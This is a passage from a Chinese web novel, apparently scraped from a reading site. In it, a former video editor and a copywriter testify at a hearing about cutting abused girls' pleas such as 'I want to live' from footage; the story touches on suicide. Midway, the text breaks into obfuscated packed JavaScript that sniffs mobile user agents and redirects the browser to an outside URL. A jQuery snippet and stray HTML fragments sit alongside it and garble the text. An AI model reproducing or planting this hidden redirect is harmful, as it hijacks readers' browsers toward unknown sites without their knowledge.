她接起来，只听那边说：“有个人找我们，说想匿名交一个资料。”


    “我们问他是谁，他只说了一句——”


    “我当年是拍素材的人。”


    “但现在，我想让你们拍清楚我的脸。”


    “他说，他不讲素材。”


    “他说——他要讲怎么剪过‘求救’两个字。”


    “程律师，你要接这个人吗？”


    她看着手机屏幕沉了一秒，然后回答：


    “要。”


    “让他来。”


    “我们给他开专场。”


    “不是为他讲的内容。”


    “是因为他肯讲。”


    “讲的，不只是她们死前那点素材。”


    “讲的，是你们剪掉的‘她想活’。”


    “这段，我亲自听。”


    “他愿意露脸，我们就给他拉主机位。”


    “这段——我们开封档。”


    第二天一早，讲述会还没正式开始，后台那边就有人来搭线缆。


    林茜带着几个志愿者在搬桌椅，换了个角度布镜头，准备专场录制。


    “今天这个人来讲的是剪辑流程，咱们要给他上‘流程复盘’的字幕轨。”


    “主位机两组，别拉虚焦。他自己说想给全脸，要高清。”


    “还有——今天不蒙面。”


    “他说，他剪过太多人的脸了，现在他自己，不怕被看见。”


    九点刚过，那人就到了。


    四十多岁，穿着一件旧卫衣，拎着个笔记本电脑，脸没洗干净，胡子拉碴，但走得很直。


    他一下车，先问了一句：“这儿能上投屏不？”


    程漾点头。


    “你想放啥我们就放啥。”


    “你讲什么我们就录什么。”


    那人打开电脑，从里面拎出一个U盘，插上之后，文件夹弹出来，一排排视频素材、剪辑片段、文档记录。


    “我以前干的事，叫‘素材调优’。”


    “他们给我一段段录音，让我剪出‘正向反馈’。”


    “我负责把哭声剪掉，把骂声静音，把‘她说不想去了’换成‘我愿意再试一次’。”


    “我做的事，说好听点叫‘技术优化’，说直白点……”


    他抬起头，嘴里嘟了一句。


    “我是干灭证的。”


    台下静得厉害。


    程漾站在台侧，看着他一点点把电脑里的资料打开。


    “我给你们看看，这是我手里第一批素材。”


    他点开一个文件，画面定格在一个女孩讲述时的片段。


    “原片长十五分零七秒，正式发布的只有四分四十。”


    “你们知道我剪掉了什么吗？”


    他摁了下播放键。


    原片开头是女孩一边讲一边哆嗦着说：“我不知道这是啥项目，但我妈说交过钱了，让我好好配合。”


    这句话，在成片里——没有。


    她后面还说了一句：“我那天穿的是校服裤，怕脏，特地在外头套了条裙。”


    这句也被删了。


    直到第七分四十五秒，她讲到一句：“我那天觉得自己要死了，我喊了一句‘我想活’，你们能不能别拍了——”


    这句，被剪断成了：


    “我……能不能……拍了。”


    他说完，把鼠标停在那一帧，指着屏幕上的波形图。


    “就这，‘我想活’这仨字，是我剪掉的。”


    “我点的剪刀图标，是我点的快捷键。”


    “是我手动，删的。”


    “他们没逼我，我当时觉得这不是重点。”


    “我以为，那些‘负能量’会影响项目评审。”


    “我觉得，只要有正面反馈，就能拿更多资源，能救更多人。”


    “结果……”


    他把鼠标又拖了一段。


    “结果她一个月后，从十八楼跳下来。”


    “她死了。”


    “她死的时候没留下遗书，但我知道，她说过一句‘我想活’。”


    “我删了。”


    “我亲手删的。”


    他没哭，没跪，没说对不起。


    只是站在那，说了一句：


    “所以我来讲。”


    “不是道歉。”


    “是把那句剪回去。”


    “你们说要把她们从‘编号’变回人。”


    “那我把我剪掉的每一帧，都还回来。”


    他接着打开第二段素材，是个女孩拍完视频后被人搀下来的镜头。


    “这段原片里，她走路晃得厉害，说她脑袋疼，想吐。”


    “我在成片里剪成她‘兴奋到走不稳’。”


    “我还加了个配乐。”


    “叫《晨曦初现》。”


    “他们说，这种情绪能打动出资人。”


    “我就真以为……她是感动到哭。”


    “后来她也死了。”


    “她喝了药。”


    “她临终视频我没看完。”


    “但她最后一句我听了。”


    “她说：‘你们不该剪我。’”


    “我知道，她说的不是视频。”


    “是她自己被剪成‘可用素材’。”


    “我来讲，是因为她们不该是素材。”


    “我是工具，我愿意把我剪的，全剪回去。”


    讲到这，他合上电脑，说了句：


    “我把这些全拷进硬盘。”


    “你们要是愿意收，我现在就签交接。”


    “但我只交给你们。”


    “我不信别的人。”


    程漾走过去，从文件袋里拿出表格、原始资料接收函、签字文件。


    “我们收。”


    “但我们收的是证据，不是感动。”


    “你不是来‘哭’的。”


    “你是来讲案子的。”


    “你把她的‘我想活’剪掉了。”


    “那现在，我们把‘她死得冤’剪回来。”


    “你不是帮我们，是你自己要留下名字。”


    “你今天讲这段，不是替她赎罪。”


    “是替你自己——立案。”


    男人把笔拿起来，写了自己的名字：


    【宋郁】


    他写完，又加了一句：


    【我讲的不是讲述，是剪辑记录】


    【我愿意证明：她们讲了，但我们剪了】


    【我愿意为我剪的每一秒——出庭】


    程漾看着那三个字，一笔一划落进表格。


    “这份，我们贴上墙。”


    “写清楚——不是她讲得不清楚。”


    “是你剪了。”


    “她讲完了。”


    “她早就讲完了。”


    “我们没听见，是因为你剪了。”


    “你现在讲完了。”


    “我们就得听。”


    “听完——就得算账。”


    那天下午，讲述会第一次转场，进入“内容还原”阶段。


    不是谁讲自己的哭声。


    是——


    谁讲，他们剪过。


    谁剪，他们得讲回来。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15991146|175465||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    谁拿过素材当项目，就得写回原片段。


    谁删了“我不愿意”，现在得说一遍“她不是资源”。


    讲述会进入“剪辑回溯”阶段那晚，全国第一波媒体转向开始了。


    不是做爆点。


    而是把之前那些被平台删了、被打码的“剪辑版本”一一对照着播。


    抖音有博主上传了剪辑对比片段。


    左边是讲述人当年的“展示视频”。


    右边是这几天讲述会公布的原始音源。


    左边说：“我在这个项目中找到了自我价值。”


    右边是：“我怕极了，我想跑。”


    左边画面剪得光鲜，背景音乐温柔。


    右边一听，全是卡壳、哽咽、断句。


    弹幕上有人打出一句话：


    【我知道她说话为什么断断续续了】


    【因为那不是演讲，是她被灌药后的真实讲述】


    #她说我想活#这个词条也冲上了热搜前三。


    全国开始统一一个声音：


    “不是她讲得不清楚，是我们剪得太干净。”


    程漾那边也没闲着。


    讲述会第五天，新增预约38人，其中12人来自“素材审核小组”当年下设的“反馈改写单位”。


    也就是——拿“讲述素材”出文字版本、发新闻通稿、包装项目总结的那群人。


    第一位是个女生，三十出头，穿了件碎花衬衫，头发扎得利利索索。


    她刚坐下就说：


    “我是写稿的人。”


    “不是写你们现在看的这些讲述稿。”


    “我是写她们哭完之后，被剪成‘正能量代表’那部分的通稿。”


    “我是负责把‘我不愿意’改成‘我很感激平台’的那个文案人。”


    她坐着，没抬头。


    手里捏着一张旧A4纸。


    “这是我存下来的改稿记录。”


    “这段原稿写的是：‘我第一次被叫上楼，我害怕，腿发软，我说我不想拍了。’”


    “我改成了：‘我一开始也有点紧张，但大家鼓励我，我渐渐找回了自信。’”


    “这段原稿是：‘我当时是流血状态，他们还让我继续录，说不会拍到下半身。’”


    “我改成了：‘拍摄过程中我也学到了坚持与专业精神。’”


    “我写这些的时候，很快。”


    “因为有人催我赶稿，说要配合审查，要统一说法。”


    “我当时也想——她们都签字了，都是自愿的吧。”


    “但现在我知道，她们不是自愿讲的。”


    “她们是被逼着讲‘感激’。”


    “我写出来的那些感谢词，其实是我写下的侮辱。”


    “我写的不是文字。”


    “是稿杀。”


    台下一片沉默。


    有人动了下椅子，但没出声。


    程漾这时站起身，走到她面前。


    “你愿意把这份改稿记录入卷吗？”


    女生点头。


    “我愿意。”


    “我还记得我那时候打完这行字后，电脑自动保存了一份草稿。”


    “文件名叫‘她笑得很乖’。”


    “但我知道——那是我写的最脏的一次笑。”


    她讲完，签了名。


    那张纸被贴在“编辑责任”墙上，第一行就是：


    【我写过她笑得很乖】


    【现在我讲——她那天哭着吐了】


    紧接着，第二位上台的，是曾在项目运营组任职的中层。